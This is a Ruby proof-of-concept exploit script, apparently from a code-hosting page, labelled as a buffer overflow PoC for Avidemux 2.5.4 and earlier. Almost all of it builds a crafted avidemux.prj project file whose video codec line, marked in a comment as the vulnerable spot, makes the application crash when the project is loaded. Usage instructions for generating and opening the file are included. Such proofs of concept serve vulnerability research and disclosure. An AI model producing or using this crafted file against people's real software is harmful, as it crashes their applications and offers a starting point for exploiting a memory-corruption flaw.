63 lines
No EOL
1.7 KiB
Ruby
Executable file
63 lines
No EOL
1.7 KiB
Ruby
Executable file
#!/usr/bin/env ruby
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# avidemux_crash.rb
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#
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# Title : Avidemux <= 2.5.4 Buffer Overflow PoC
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# Date : 31.10.2010
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# Version : <= 2.5.4
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# Software Link : http://avidemux.sourceforge.net/download.html / http://avidemux.razorbyte.com.au/
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# Author : The_UnKn@wn
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# Email : the_unknown [at] group51 [dot] org
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# Homepage : http://group51.org
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# Tested on : openSUSE 11.3 and Windows XP SP3 English
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#
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# Usage:
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# ruby avidemux_crash.rb <a *.mpg file>
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# Start Avidemux --> Load/Run Project --> crash!!
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#
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# Note:
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# You can also use another video file format you would have to change the Format in Line and maybe some other stuff #54 too
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#
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file = ARGV[0]
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if file.nil?
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puts "Usage: ruby #{__FILE__} <path to sample video .mpg file>"
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exit
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end
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name = "avidemux.prj"
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text = "//AD <- Needed to identify//\n" +
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"//--automatically built--\n"+
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"var app = new Avidemux();\n"+
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"//** Video **\n"+
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"// 01 videos source \n"+
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"app.load(\"#{file}\");\n"+
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"//01 segments:\n"+
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"app.clearSegments();\n"+
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"app.addSegment(0,0,157699);\n"+
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"app.markerA=0;\n"+
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"app.markerB=77543;\n"+
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"app.rebuildIndex();\n"+
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"//** Postproc **\n"+
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"app.video.setPostProc(3,3,0);\n"+
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"app.video.fps1000 = 25000;\n"+
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"//** Filters **\n"+
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"//** Video Codec conf **\n"+
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"app.video.codec(\"Copy\", \"CQ=4\", \"200 \"); \n"+ # <-- here is the vuln app.video.codec("Copy","CQ=4","0 ");
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"//** Audio **\n"+
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"app.audio.reset();\n"+
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"app.audio.codec(\"copy\",-1078515528,0,\"\");\n"+
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"app.audio.normalizeMode=0;\n"+
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"app.audio.normalizeValue=0;\n"+
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"app.audio.delay=0;\n"+
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"app.audio.mixer=\"NONE\";\n"+
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"app.setContainer(\"AVI\");\n"+
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"setSuccess(1);\n"+
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"//app.Exit();\n"+
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"//End of script"
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File.open(name, "w") do |f|
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f.puts(text)
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end
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puts "File #{name} has been created successfully" |